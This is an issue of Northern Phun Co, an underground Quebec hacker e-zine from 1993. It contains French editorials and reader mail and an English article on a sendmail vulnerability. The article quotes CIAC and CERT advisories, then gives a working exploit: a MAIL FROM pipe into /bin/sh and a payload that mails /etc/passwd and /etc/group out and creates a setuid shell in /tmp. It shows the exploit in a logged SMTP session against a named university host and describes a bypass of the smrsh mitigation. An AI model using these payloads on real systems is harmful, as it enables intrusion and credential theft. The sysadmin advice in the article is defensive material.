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Northern Phun Co Issue 12
_____ ._______________________________. .___________________________ ._____
\_, \ | ____________ < ________. | | .______ )_____ \_, \ | __/
| \| o| / \ | | ) /\( | | __|__|_|__|_|__|_) / | | ) / | \| o|
| . ` :|/ . \| |/ / ` | | \__________________/ | |/ / | . ` :|
|: |\. / /| |: |\ \ |: | |. | | | |. | ____ |: |\ \ |: |\. |
|o | | ( (_| |o | \ \ |o | |o | | | |o |/ __/ |o | \ \ |o | | |
|__| | \__\___| | \ > | | |__| | | |_ ' / | | \ >|__| | |
\ | | / \/ | / \ | \ | | / \/ \ |
\| |/ |/ \| \| |/ \|
: : : : : : :
_____________. .__. ._______ ._____ ___________
\______ ) | | | | ._. \ | __/ \______ ) __
__| |_) / |_|__|_/\ | o| | \| o| | | ) / / \
\_, .___/| .______ \| :| | . ` :| | | \_/ / , \
|: | |: | | |/ /| | |: |\ | |: | ___/. /| \
|o | |o | | / (_| | |o | \ | __|o |_) (o (_| ) _
| | |__| | <_________>|__| | | \_, _____\__\___/ (_)
| / \ | \ | | /
|/ \| \| |/
: : : :
askee &
shit by
MENTAL FL0SS
Dans ce douzime numro de NPC:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ú
:
|
- -ÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ- - - ú
³ +:SUJET:+ ³ +:AUTEUR:+ ³
³ú - -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ú - -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Table des matires / Disclaimer ³ -=ThE PoSSe=- ³
³ ditorial de NPC #12 ³ Atreid Bevatron ³
³ The postman always quote twice ³ Votre Courrier ³
³ MISCialliniiiooouss about SendMail ³ Gurney Halleck ³
³ LLC a s'en vient ³ Santa Claus ³
³ Mac et moi, the story so far... ³ The Shaman ³
³ Les yeux en compote sur Mind Machine³ Atreid Bevatron ³
³ LLC, tout sur le systme ³ Blitzkreig ³
³ The state of Hacking in Quebec City ³ Gurney Halleck ³
³ Ce que WIRED n'a pas publi ³ Blitzkreig ³
³ Phrack m'intronise... ³ Gurney Halleck ³
³ Read the news... | Paranoid+The PoSSe ³
- ú-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
|
:
ú
NPC are: Officiers Collaborateurs
Blitzkreig Mphisto
Gurney Halleck Paranoid
Atreid Bevatron The Shaman
The SubHuman Punisher Marc Blanchet
Santa Claus
Greets: Merlin L'Emmerdeur (Sniff! Tout le monde a hte au mois prochain...)
Genghis Dan (Rave Hard...)
Funk Lord (Ton maudit Bourbonnais est difficile
contacter!!!)
Criminal Mind (Soit damn, jeune CRACKER inconscient!)
Mental Floss (Envoie-moi tes buncers dans 3 semaines... ;] )
KBM (Un bel effort sans prtention... ;-) )
DISCLAIMER - AVERTISSEMENT
Ce magazine n'est pas recommand aux gens qui portent un
Pacemaker, aux mes sensibles, et aux moralisateurs. Tenez-vous
le pour dit, et abstenez-vous!
Ceci va probablement tre le disclaimer le plus long de
l'histoire des magazines underground car, sur les conseils de
gens gnralement bien verss dans le domaine (vous savez que les
avocats rclament 150$ de l'heure? Chi!) une mise au point
exhaustive doit tre faite avant de vous permettre de poursuivre
votre lecture (et non pas de poursuivre Northern Phun Co.: vous
tes pas drles!).
1) Tous les articles de ce magazine ne sont publis qu'
titre
d'information. L'application de une ou des technique(s)
explique(s) dans ces pages peuvent entraner la mort, des
blessures srieuses, l'impuissance, la perte de votre virginit,
des poursuites judiciaires embtantes, le bris de votre
ordinateur, la nomination de Camil Samson
la tte du Parti
Libral ou, pire encore, vous pourriez devenir comme vos parents!
2) Northern Phun Co., qui est un organisme
but non-lucratif,
avec une vocation quasiment philanthropique, ne sera en aucun
temps tenu pour responsable de l'irresponsabilit des auteurs qui
publient des articles dans ces pages. L'entire responsabilit,
et la preuve de la vracit desdits articles, revient aux
auteurs. On est mal parti, l
, les enfants...
3) Les officiers clairement identifis de Northern Phun Co. sont
seuls habilits
parler au nom du groupe, et NPC ne serait tre
tenu pour responsable de la conduite (ou de l'inconduite) des
collaborateurs de NPC sur les babs de la plante Terre. De plus,
seuls les textes des officiers de Northern Phun Co. sont vrifis
pour leur exactitude.
4) La lecture de Northern Phun Co., quoique rjouissante, peut
entraner aussi des problmes de sant mentale et des cas de
pilosit manuelle (comme pour la masturbation).
5) Northern Phun Co accepte,
priori, de publier tous les textes
touchant au H/P/C/A/V-et-le-reste qui lui seront soumis. NPC
refusera, par contre, tout texte encourageant la discrimination
d'une ou des personne(s) en fonction de leur origines ethniques,
de leur religion ou de leur sexe. Si vous voulez bouffer du
ngre, engagez-vous plutt dans la police...
6) Northern Phun Co. tient
rappeler
ses lecteurs qu'il faut
soigneusement se brosser les dents aprs chaque repas. Et
n'oubliez pas la soie dentaire!
Est-ce que a suffit l
?
O nous rejoindre?
------------------
D la nature "volatile" de notre produit, les babs qui nous
supportent le sont tout aussi. Ceci dit, vous avez toutes les
chances de pogner un des officiers de NPC sur les babs PUBLICS
suivants (on pousse la perversion jusque l
!).
Light BBS : 418-651-5664
Black Palace : 418-831-1602
The Cannibal Cookhouse : 418-657-4442
Terminus (Baie-Comeau ) : 418-295-2854
OverBoard (Sherbrooke) : 819-569-7239
Un beau fou de Drummondville nous a consacr son babillard.
Ouvrez grands vos yeux! Si vous savez compter, a fait -7- nodes!
La Station: 819-474-8010
6158
7601
2016
7475
1816
5239
Il y a aussi un bab qui vous offre une messagerie anonyme pour
NPC, comme au bon vieux temps de Mdic!
The Inferno: 418-647-2731
Si votre babillard public (hors 418) dsire ouvrir une section
NPC, n'hsitez pas
nous contacter. C'est gratuit!
Nous sommes aussi (naturellement) sur les boards pirates de
Qubec. En fait, sur Workshop, il y a tous les officiers de NPC
qui prennent un bain de soleil... C'est comme qui dirait notre
H.Q. underground.
Nous ne publions plus de numero de VMB. Dsol, mais on les
perdait
mesure qu'on les publiait, alors... Un coup des coches,
je suppose...
Nous avons aussi une adresse Internet pour e-mail:
npc@sietch.ci.net
Et si malgr tout a vous n'tes pas capable de nous rejoindre,
appelez l'Arme du Salut, et demandez Roger...
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úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú
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1er dcembre 1993
DITORIAL 12
par
Atreid Bevatron
Lors de la premire parution de NPC et durant les cinq ou six
parutions qui ont suivi, vous, gens de la rgion de Qubec (418),
ne vous tes pas gns pour nous lancer des commentaires. Certains
taients positifs, quelques autres ngatifs (maintenant
peu prs
inexistants, je parle des ngatifs), mais l
n'est pas la question.
La question est que vous ragissiez.
Que se passe-t-il dans la belle rgion de Qubec depuis
quelques mois? En fait, il ne se passe rien. La scne est morte
alors? Justement pas, elle n'est pas morte malgr cela. La scne
est bel et bien en vie, mais ce, sans que personne ne le sache.
Qu'est devenue cette belle communication entre tous? Elle est
devenu pratiquement inexistante. Pourtant, ce n'est justement pas
d au fait que NPC est dlaiss, bien au contraire, nous constatons
une trentaine de downloads sur chacun de nos distros
chaque
numro. Je ne parle pas du nombre de downloads
vie, mais bien du
nombre dans la semaine qui suit chaque parution. Tout a, c'est
sans compter tous les endroits o NPC est upload et download sur
les autres babillards non-NPC.
NPC est l
, comme vous le savez tous, et est l
pour durer, je
crois que vous vous en tes tous rendu compte. Vous connaissez le
journal VOIR? Probablement oui. Il s'agit d'un journal gratuit, lu
par un grand nombre d'tudiants, dans les CEGEPs et les universits
et par beaucoup de gens intresss par les arts et spectacles. VOIR
n'est pas que cela, mais ma description s'arrtera l
. Les gens du
journal VOIR savent qu'ils sont lus, savent combien de personnes
environ les lisent. Ils publient, les gens lisent, et le reste, on
s'en tape et ils s'en tapent je dirais. (Attention, je ne dis pas
que le journal VOIR est un mauvais journal. Il est au contraire
excellent!)
NPC n'est pas le journal VOIR. Vous avez tous lu mon ditorial
dans le numro 11? L'ide de communaut, de philosophie et d'art de
vivre cyberntique. Voil
ce que NPC veut promouvoir. Comme le
journal VOIR, NPC est gratuit, nous savons environ combien de
personnes nous lisent
Qubec, mais contrairement au journal VOIR
(je me trompe peut-tre), le reste on ne s'en tape pas. Nous
voulons qu'il existe une communication, mme une sorte de
complicit entre tous les lecteurs de NPC. (Gens de la GRC,
s'abstenir...) (Quoiqu'il pourrait tre intressant de... comparer
nos points de vue... :] )
La scne, comme je le disais, semble morte. Elle n'est
toutefois pas morte, mais simplement silencieuse. Je vous ai dit
combien de personnes downloadaient NPC chaque mois. Dans ce nombre,
il y en a forcment une vingtaine, voir une trentaine que nous ne
connaissons pas, qui ne lisent pas NPC que par curiosit, mais bien
pour en appliquer les pratiques (Je ne parle que de la rgion de
Qubec!). Je parle d'une trentaine de personnes qui, semble-t-il,
n'ont aucun contact avec l'underground ou qui peut-tre dsirent
simplement agir dans la confidentialit de leur foyer. Je vous le
dis,
vous, qui vous acharnez malgr le fait que vous n'avez
peu
prs aucun contact avec nous ou avec l'underground, vous qui avez
confiance en vous mme et en vos propres ressources, je vous dis
joignez nos rangs!, ou du moins signalez votre prsence. Je ne suis
pas en train d'offrir un poste comme officier de NPC; ce que je
veux vous dire, c'est qu'en chacun de vous rside peut-tre un
pirate remarquable et chevronn. C'est de gens comme vous que la
scne a besoin, pas des grosses ttes vides qui peuplent les bbs
pirates depuis quelques temps. La scne n'a pas besoin de poseurs
sans connaissance et sans talent qui font semblant d'tre
intresss, mais bien de gens dont l'intention premire est de
dvelopper leurs comptences et leurs connaissances. Oui,
vous je
dis regroupez-vous et montrez ce que vous savez faire; pas pour
vous montrer vous-mmes, mais pour faire profiter de votre savoir
la communaut underground.
NPC a volu et nous sommes maintenant lus
travers le
Qubec, le Canada, les tats-Unis et mme dans certaines parties
d'Europe. Nous nous faisons connatre de plus en plus
chaque
numro et avec l'avnement de LLC, notre distribution se fera
l'chelle mondiale; comme les CUDs et les PHRACK que vous
connaissez. Nous recevons d'ailleurs plusieurs lettres d'un peu
partout. Je ne suis pas en train de dire que nous allons surpasser
Phrack ou CUD ou quoique ce soit. Nous sommes des mags diffrents
avec des contenus diffrents et de toutes faons, la question n'est
pas l
... O je veux en venir? Je veux dire que malgr le fait que,
possiblement, NPC devienne effectivement rpendu
l'chelle
mondial, la rgion 418 de Qubec continuera pour nous d'tre une
importante source d'occupation et d'intrt et qu'elle continuera
toujours de nous tenir
coeur par dessus tout. Ce qui s'y passe
nous tient donc
coeur, et ce que vous pensez tous aussi. Telle
est la raison de mon appel au troupeau, au regroupement,
la
communaut. Nous voulons nous regrouper avec des gens qui partagent
les mmes intrts que nous et les mmes passions pour le monde
cyberntique et les nouvelles technologies...
A PREVIOUSLY UNKNOWN LIFESTYLE, c'est vrai depuis le dbut,
c'est encore vrai et ce le sera toujours.
Vous, que nous ne connaissons pas encore, tablissez ce
contact! Rejoignez nos rangs! Nous pouvons tre contacts sur
n'importe lesquels de nos babillards publics ou privs, ou par
notre adresse Internet, bien sr et ce, en tout temps...
Hackez, Phreackez, performez, mais faites-le tous ensemble, en un
seul rang, une seule arme, une seule communaut...
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VOTRE COURIER
par
The PoSSe
#2991 ([Private]) [AREA: Private]
Sent : 22-Nov-93 23:46 (Received on 23-Nov-93 23:21)
From : Fvladimir Kroutchefv
To : Blitzkreig
Subj : LLC + NPC..
Trs cher monsieur,
j'en viens maintenant
l'objet de ma lettre,
savoir la
~dmission~ de l'un de vos diteurs <me semble-t-il> THX 1138 est
trs appreci de la misrable personne que je suis. Ses crits me
choquent et me rveillent.. Tant mieux, j'aime bien tre rveill..
N'ayant pu le denicher sur aucun des babillard o je vais, j'en
suis rduit
vous quter une faveur, pour dire si cela me tient
coeur!
Transmettez-lui, s'il vous plat, mes sincres condolances quand
son dcouragement <que j'espre temporaire> vis-
-vis de la faune
babillardesque qubcoise.. J'espre le voir re-crire un jour et
quand
moi, le plus tt sera le mieux !
Sans lui, NPC ne sera plus le mme...
Il disait que NPC ne comptait pour personne. que vos crits ne
comptent pas.. C'est faux.. vous avez jou un rle dterminant dans
ma vie.
De vous je n'attend pas de rponse.. parce que je sais que je n'en
aurai pas. De lui non plus parce qu'il ne me connat pas et qu'il
n'a probablement aucune envie de me connatre...
Si je suis le seul
protester contre sa disparition, et bien
tant pis! Mais au moins aurais-je la conscience tranquille s'il
reois mon message.. Je ne demande rien d'autre.
~~~~
Remerciement sincres et gratitude,
Fvladimir Kroutchefv
[Atreid- Bien videmment, nous gardons les portes ouvertes pour le
retour de THX 1138, mais je sais qu'il est parti pour de bon... Et
au fond je le comprends bien... Je l'ai toutefois contact pour lui
lire ta lettre. Je vais crire son commentaire... C'est tout ce
qu'il m'a dit
ce propos et la discussion a rapidement chang
immdiatement aprs.]
[THX 1138- En effet, je n'ai aucune envie de te connatre...]
--------------------
"Message (NPC)" (Msg Public) #995
Date : 18-10-93 13:48
De : Zoltar
A : All
Sujet :
Yo!
Je vgtais un Dimanche soir pis au lieu de continuer
m'acharner
sur mon travail de philosophie 301, j'me suis mis
caller au
Black Palace (Nonon, c'pas une plogue!). Pour une trs rarissime
fois, je russis
m'infiltrer sur ce bab de faon expditive et
dcouvrir la section NPC qui s'y cache (faut le dire pour le
croire...). Quelle ne fut pas ma stupfaction et mon indignation
bienheureuse de downloader votre mag... Une force subconsciente m'a
dit avec gnrosit que NPC tait un groupe (quoique norme!) qui
tait fou comme un balai! Les 3 longues heures que m'ont exig
l'impression de votre manuscrit n'ont certe pas t perdues. En
vous lisant, je me suis dit: "Ma foi, ils se dbattent comme des
diables dans un jeu de quilles ceux-l
!" (Jean Perron, 90), quelle
quipe rvolte! Bref, continuez votre boulot comme vous l'entendez
pis longue vie! J'vous dis merde
la puissance 13! J'ai rien
d'autre
ajouter sauf dclarer mon clbre proverbe: "Tout bon
chrtien se doit de crisser son ternel camp!"! A part de a rien
de spcial...
Zoltar (tm)
Si jamais ca parait c'te message ben j'vas vous trouver ben
comiques!
[Atreid- Ben c'est a! Trouve-nous ben comique! ;-)]
[Santa- Puisses-tu m'expliquer le sens de ton "ternel" proverbe?
Je serais combl
la puissance 13... Merci quand mme pour
ton "gnreux" commentaire.]
--------------------
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The sendmail bug of the month club
OR
How to hack a Unix without even getting in.
By:
Gurney Halleck
I was first made aware of the bug by an advisory notice of the CIAC,
thanks guys. Over the years, sendmail has prouven itself a true friend for
the hacker. The famous debug and wizard backdoor a couple of years ago and
some recent ones. Today there is another one, and it's a good one.
Read on, this was the first warning about the bug that I saw, it
realy spiked my curiousity:
_____________________________________________________
The Computer Incident Advisory Capability
___ __ __ _ ___
/ | / \ /
\___ __|__ /___\ \___
_____________________________________________________
ADVISORY NOTICE
(1) Security vulnerability in sendmail under SunOS 4.1.x and 5.x
(2) Security vulnerability in tar under SunOS 5.x
(3) Potential misuse of Sun microphones
October 21, 1993 1130 PDT Number E-01
__________________________________________________________________________
(1) Security vulnerability in sendmail under SunOS 4.1.x and 5.x
PROBLEM: Remote users may access system files using sendmail.
PLATFORM: SunOS 4.1.x and SunOS 5.x (Solaris 2.x).
DAMAGE: Unauthorized access to system files.
SOLUTION: Apply appropriate patch from Sun.
__________________________________________________________________________
Critical Information about Security Vulnerability in sendmail
The /usr/lib/sendmail utility under SunOS 4.1.x and SunOS 5.x permits
unauthorized access to some system files by remote users. This access may
allow compromise of the system. Note that this vulnerability is being
actively exploited. CIAC strongly recommends that sites take immediate
corrective action.
Sun Microsystems has released patched versions of the sendmail program
for all affected versions of SunOS:
BSD SVR4
System Patch ID Filename Checksum Checksum
----------- --------- --------------- --------- ----------
SunOS 4.1.x 100377-07 100377-07.tar.Z 36122 586 11735 1171
SunOS 5.1 100840-03 100840-03.tar.Z 01153 194 39753 388
SunOS 5.2 101077-03 101077-03.tar.Z 49343 177 63311 353
The checksums shown above are from the BSD-based checksum (on SunOS 4.1.x,
/bin/sum; on SunOS 5.x, /usr/ucb/sum) and from the SVR4 version that Sun
has released on SunOS 5.x (/usr/bin/sum).
Individuals with support contracts may obtain these patches from their
local Sun Answer Center or from SunSolve Online. Security patches are
also available without a support contract via anonymous FTP from
ftp.uu.net (IP 192.48.96.9) in the directory /systems/sun/sun-dist.
-----------------------------------------------------------------------------
Not much detail, but just enough to know where to start looking,
so I did. I took me a while and I had to read this next posting and
download the fixes and study them before getting it. It wasn't easy.
=============================================================================
CA-93:16 CERT Advisory
November 4, 1993
Sendmail Vulnerability
-----------------------------------------------------------------------------
The CERT Coordination Center is working on eliminating a vulnerability in
sendmail(8). This vulnerability potentially affects all systems running
sendmail.
CERT is working with the vendor community to address this vulnerability. At
this time, there are no known patches available for any vendor implementation
that fully address this vulnerability. Until there is complete vendor
information, CERT recommends that all implementations of sendmail be
considered susceptible.
This advisory supersedes the sendmail portion of the CERT advisory (CA-93:15)
of October 21, 1993.
CERT will continue to work with the vendors and will alert the community
when patches become available.
Included with this advisory is an appendix describing tips that can be used
by system administrators who are concerned about the possible exploitation
of this vulnerability at their site.
-----------------------------------------------------------------------------
I. Description
A vulnerability exists in most versions of sendmail that allows
unauthorized remote or local users to execute programs as any system
user other than root.
This vulnerability affects the final destination sendmail host
and can be exploited through an intermediate mail machine. Therefore,
all sendmail recipient machines within a domain are potentially
vulnerable.
II. Impact
Anyone (remote or local) can execute programs on the affected hosts
as any userid other than root.
III. Approaches
CERT suggests three possible approaches to this problem. Although
these approaches address all known aspects of this vulnerability,
they are suggested only until vendor patches for this sendmail
vulnerability are available.
Familiarity with sendmail and its installation and configuration,
is recommended before implementing these modifications.
In order to protect your entire site it is necessary to apply the selected
approach to *ALL* systems running sendmail at the site, and not just
the mail hub.
A. Approach 1
This approach involves modifying the sendmail configuration
to restrict the sendmail program mailer facility.
To restrict sendmail's program mailer facility, obtain
and install the sendmail restricted shell program (smrsh 1.2)
by Eric Allman (the original author of sendmail), following the
directions included with the program.
1. Where to obtain the program
Copies of this program may be obtained via anonymous FTP from
info.cert.org, in the /pub/tools/smrsh directory, or via
anonymous FTP from ftp.uu.net in the /pub/security/smrsh
directory.
Checksum information:
BSD Sum
30114 5 README
25757 2 smrsh.8
46786 5 smrsh.c
System V Sum
56478 10 README
42281 4 smrsh.8
65517 9 smrsh.c
MD5 Checksum
MD5 (README) = fc4cf266288511099e44b664806a5594
MD5 (smrsh.8) = 35aeefba9714f251a3610c7b1714e355
MD5 (smrsh.c) = d4822ce7c273fc8b93c68e39ec67739c
2. Impacts of this approach
While this approach allows a site to specify which programs
can be run by sendmail (e.g. vacation(1)), attempts to invoke
programs that are not included in the allowed set, or attempts
using shell meta-characters (see smrsh program listing for a
complete set of disallowed characters), will fail, resulting in
log output to the syslog(3) facility. Programs that are specified
in a site's /etc/aliases file should be considered for inclusion
in the allowable program list.
Since .forward files allow user-specified programs to be
run by sendmail, a survey of the contents of the system's
.forward files may be required to prevent failure to deliver
user mail.
*** WARNING ***************************************************
* It is very important that sites *NOT* include interpreter *
* programs (e.g. /bin/sh, /bin/csh, /bin/perl, /bin/uudecode, *
* /bin/sed, ...) in the list of allowed programs. *
***************************************************************
B. Approach 2
Like approach 1, this approach involves modifying the sendmail
configuration. However, this approach completely disables the
sendmail program mailer facility. This is a drastic, but quick
action that can be taken while a site installs one of the
other suggestions. Before implementing this approach, save a copy
of the current sendmail configuration file.
To implement this approach edit the sendmail.cf file:
change from:
Mprog, P=/bin/sh, F=slFDM, S=10, R=20, A=sh -c $u
to:
Mprog, P=/bin/false, F=, S=10, R=20, A=
Any changes to the sendmail.cf file will require that the
sendmail process be restarted to ensure that the new configuration
is used. See item 3 in Appendix A for more details.
1. Impacts of this approach
Attempts to invoke programs through sendmail will not
be successful.
C. Approach 3
To the best of our knowledge, Eric Allman's public domain
implementation of sendmail, sendmail 8.6.4, does not appear to
be susceptible to this vulnerability. A working solution would
then be to replace a site's sendmail, with sendmail 8.6.4.
1. Where to obtain the program
Copies of this version of sendmail may be obtained via
anonymous FTP from ftp.cs.berkeley.edu in the
/ucb/sendmail directory.
Checksum information:
BSD Sum
sendmail.8.6.4.base.tar.Z: 07718 428
sendmail.8.6.4.cf.tar.Z: 28004 179
sendmail.8.6.4.misc.tar.Z: 57299 102
sendmail.8.6.4.xdoc.tar.Z: 33954 251
System V Sum
64609 856 sendmail.8.6.4.base.tar.Z
42112 357 sendmail.8.6.4.cf.tar.Z
8101 203 sendmail.8.6.4.misc.tar.Z
50037 502 sendmail.8.6.4.xdoc.tar.Z
MD5 Checksum
MD5 (sendmail.8.6.4.base.tar.Z) = 59727f2f99b0e47a74d804f7ff654621
MD5 (sendmail.8.6.4.cf.tar.Z) = cb7ab7751fb8b45167758e9485878f6f
MD5 (sendmail.8.6.4.misc.tar.Z) = 8eaa6fbe9e9226667f719af0c1bde755
MD5 (sendmail.8.6.4.xdoc.tar.Z) = a9da24e504832f21a3069dc2151870e6
2. Impacts of this workaround
Depending upon the currently installed sendmail program,
switching to a different sendmail may require significant
effort for the system administrator to become familiar with
the new program. The site's sendmail configuration file
may require considerable modification in order to provide
existing functionality. In some cases, the site's sendmail
configuration file may be incompatible with the sendmail 8.6.4
configuration file.
---------------------------------------------------------------------------
The CERT Coordination Center wishes to thank the members of the following
response teams for their assistance in analyzing and testing both the
problem and the solutions: SERT, ASSIST, CIAC, and DFN-CERT. CERT would
especially like to thank Eric Allman, Matt Blaze, Andy Sherman, Gene Spafford,
Tim Seaver, and many others who have provided technical assistance with
this effort.
---------------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in Forum of Incident
Response and Security Teams (FIRST).
Internet E-mail: cert@cert.org
Telephone: 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4),
and are on call for emergencies during other hours.
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
Past advisories, information about FIRST representatives, and other
information related to computer security are available via anonymous FTP
from info.cert.org.
Appendix A
This appendix describes tips that can be used by system administrators
who are concerned about the possible exploitation of this vulnerability at
their site.
There are two actions that can be taken by system administrators to try
to detect the exploitation of this vulnerability at their sites.
- Examine all bounced mail to look for unusual occurrences.
- Examine syslog files for unusual occurrences of "|" characters
In order to do this, sendmail must be configured to direct bounced mail to
the postmaster (or other designated person who will examine the bounced mail).
Sendmail must also be configured to provide adequate logging.
1) To direct bounced mail to the postmaster, place the following entry in
the options part of the general configuration information section of
the sendmail.cf file.
# Cc my postmaster on error replies I generate
OPpostmaster
2) To set sendmail's logging level, place the following entry in the options
part of the general configuration information section of the sendmail.cf
file. Note that the logging level should be 9 or higher in order to provide
adequate logging.
# log level
OL9
3) Once changes have been made in the sendmail configuration file,
it will be necessary to kill all existing sendmail processes,
refreeze the configuration file (if needed - see the note below),
and restart the sendmail program.
Here is an example from SunOS 4.1.2:
As root:
# /usr/bin/ps -aux | /usr/bin/grep sendmail
root 130 0.0 0.0 168 0 ? IW Oct 2 0:10 /usr/lib/sendmail -bd -q
# /bin/kill -9 130 (kill the current sendmail process)
# /usr/lib/sendmail -bz (create the configuration freeze file)
# /usr/lib/sendmail -bd -q30m (run the sendmail daemon)
**Note: Some sites do not use frozen configuration files and some do. If
your site is using frozen configuration files, there will be a file
named sendmail.fc in the same directory as the sendmail configuration
file (sendmail.cf).
-----------------------------------------------------------------------------
So, what it says is that all sites not running sendmail 8.6.4 are
probably vulnerable to this bug, whatever there platform might be. As of this
writting, I have not been able to confirme if Smail is vulnerable to this bug.
Let's go ahead now with a description of the bug.
What this bug does, is permit you to execute commands as uid deamon
or whatever the sendmail delivers non-user as. You generaly can not obtain
root priviliedges directly, but depending on the security of uid deamon you
might be able to install trojans in the system to gain root. Here are the
specifics:
1 The envelope From: field, or possibly the Errors-To: header(not tested),
must be set to the pipe through a bounce of your mail will be returned.
Typically this is executed by uid deamon.
2 An error must be caused in the message such that sendmail will send a
bounce to the From: envelope (or possibly to Errors-To:).
These two conditions are all that is necessary to exploit the bug. Typically
the simplest thing to pipe to is
|/usr/ucb/tail|/usr/bin/sh
or |/usr/ucb/tail|/bin/sh
That's for SunOS 4.1.3. Other systems may have tail in /usr/bin or /bin; the
PATH is important in this case. Although any command interpreter would do,
even awk or sed. Test the system to find out which commands and interpreters
are reachable.
The condition I have used to generate an error is an invalid
Return-Receipt-To: header. There are a great number of other ways to do so,
and some of them may depend on the specifics of the version of the sendmail.
The last ten lines of your message should contain whatever you wish to do as
uid deamon, such as:
#!/bin/sh
id | mail user@site.domain
#let's find out if we're really UID deamon
cp /bin/sh /tmp/.privshell
#let's make our selves a priviledged shell
chmod 4777 /tmp/.privshell
cat /etc/passwd | mail user@site.domain
# if you don't know what this ^ does, stop reading right now.
cat /etc/group | mail user@site.domain
# knowing the group configuration is always good.
This assumes that /tmp is writable by uid deamon. It is highly unlikely that
this is not the case.
Let's see how it really works:
-----------------cut here----------------------------------------------------
XXXXXX$ telnet roselin.dmi.usherb.ca 25
Trying ...
Connected to roselin.DMI.USherb.CA
Escape caracter is '^]'.
220 roselin.DMI.USherb.CA Sendmail 8.6.4/8.6.4 ready at Mon, 15 Nov 93 13:29:37
-0500
220 ESMTP spoken here
quit
221 roselin.DMI.USherb.CA closing connection
Connection closed by foreign host.
[this site is secure, it runs Sendmail 8.6.4, let's try another]
XXXXXX$ telnet spook.ee.mcgill.ca 25
Trying ...
Connected to Spook.EE.McGill.CA
Escape caracter is '^]'.
220 Spook.EE.McGill.CA Sendmail 4.1 ready at Mon, 15 Nov 93 13:31:12 EST
[this site might be vulnerable if it hasn't been patched]
helo
250 Spook.EE.McGill.CA Hello (XXXXXX.site.doamin), pleased to meet you.
quit
221 Spook.EE.McGill.CA closing connection
Connection closed by foreign host.
[let's look around a bit more]
XXXXXX$ telnet tornade.ere.umontreal.ca 25
Trying ...
Connected to tornade.ERE.UMontreal.CA
Escape caracter is '^]'.
220 tornade.ERE.UMontreal.CA Sendmail 920330.SGI/5.17 ready at Mon, 15 Nov 93
13:33:43 EST
[silicon graphics, humm where is tail on a SGI anyway?]
quit
221 tornade.ERE.UMontreal.CA closing connection
Connection closed by foreign host.
XXXXXX$ telnet gmc.ulaval.ca 25
Trying ...
Connected to cartier.gmc.ulaval.ca
Escape caracter is '^]'.
220 cartier.gmc.ulaval.ca Sendmail 4.1-SMI ready at Mon, 15 Nov 93 13:35:11 EST
helo
250 cartier.gmc.ulaval.ca Hello (XXXXXX.site.domain), pleased to meet you
MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
RCPT TO: pgaumond
250 pgaumond... Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
From: YYYY@XXXXXX.site.domain (YYYY)
to: YYYY@XXXXXX.site.doamin (YYYY)
Return-Receipt-To: |foobar
SubjectL This is quite a big hole in your security
X-Disclaimer: NPC takes no responsability for what might happen
Dear root,
please plug up this hole as soon as possible.
YYYY@XXXXXX.site.domain
#!/bin/sh
id | mail user@site.domain
#let's find out if we're really deamon
cp /bin/sh /tmp/.privshell
#let's make our selves a priviledged shell
chmod 4777 /tmp/.privshell
cat /etc/passwd | mail user@site.domain
# if you don't know what this ^ does, stop reading right now.
cat /etc/group | mail user@site.domain
# knowing the group configuration is always good.
.
250 Ok
quit
221 cartier.gmc.ulaval.ca closing connection
Connection closed by foreign host.
----------------------------------cut here----------------------------------
See how easy it is? Now alot of sysadmins are going to go bezerk when reading
this. If you had paid attention to the advisories you would not be in this
predicament right now. Pay attention and do your job!
Now the part for sysadmins:
I have included the entire CERT advisory (CA-93:16) it gives some usefull
advice, unfortunately it neglects the smrsh hole.
* The best choise now appears to be to install sendmail 8.6.4, which seems
to be immune to this bug. It can be obtained from ftp.cs.berkeley.edy in
/ucb/sendmail, and probably elsewhere.
* An additional FLAWED possibility is to install smrsh (sendmail restricted
shell) on top of your current sendmail. smrsh is available from ftp.uu.net
in /pub/tools/smrsh. smrsh replaces the prog mailer (typically /bin/sh)
with itself, and it limits what programs it will pass input to.
SMRSH ALONE IS NOT A SECURE SOLUTION
Regarding smsrh, it is only as secure as you can make it. By specifying no
programs, you might as well make the prog mailer /bin/false. By specifying
everything, you might as well not have smsrh.
The problem is the borderline: procmail and filter, two popular mail
filtering programs (the later of which comes with elm. so you might not
even be aware you have installed it), allow you to perform any command upon
their input, and you can control what rules file they access from the
command line. This means that an envelope From could be:
MAIL FROM: /usr/local/bin/filter -f /tmp/filt
and /tmp/filt, the elm filter rules file, could be:
if always execute /usr/ucb/tail|/bin/sh
and then you're back to square one, one a hacker discovers this. I don't
think it's necessary to do another full example to convince you this time.
I would just have to change the MAIL FROM: line in my telnet example adn this
will work. It should be noted that the smrsh procmail/filter holes require
the hacker to have write access to your machine in a place readable by uid
deamon.
Therefore, IF YOU USE AN UNMODIFIED SMRSH, YOUR SENDMAIL IS STILL
VULNERABLE!!!
What to do about the smrsh hole:
* Remove procmail and filter from the smrsh allowable list. This has the
unfortunate side effect of bouncing any mail to users who have these in
their .forward files, as well as any other aliases (like in /etc/aliases)
that use them.
* Install Alexis Rosen's patch to smrsh, that restricts it to uis's greater
than a specified number, such as 20. This prevents deamon from executing
_anything_ to the prog mailer. It also means that anything in /etc/aliases
that references the prog mailer will fail; instead, you must forward the
mail to an existing account in /etc/aliases, and then give that account a
.forward file, which invokes the smrsh allowed program
---------------------------------cut here------------------------------------
You have to insert the patch after these two lines:
openlog("smrsh", LOG_ODELAY|LOG_CONS, LOG_MAIL);
#endif
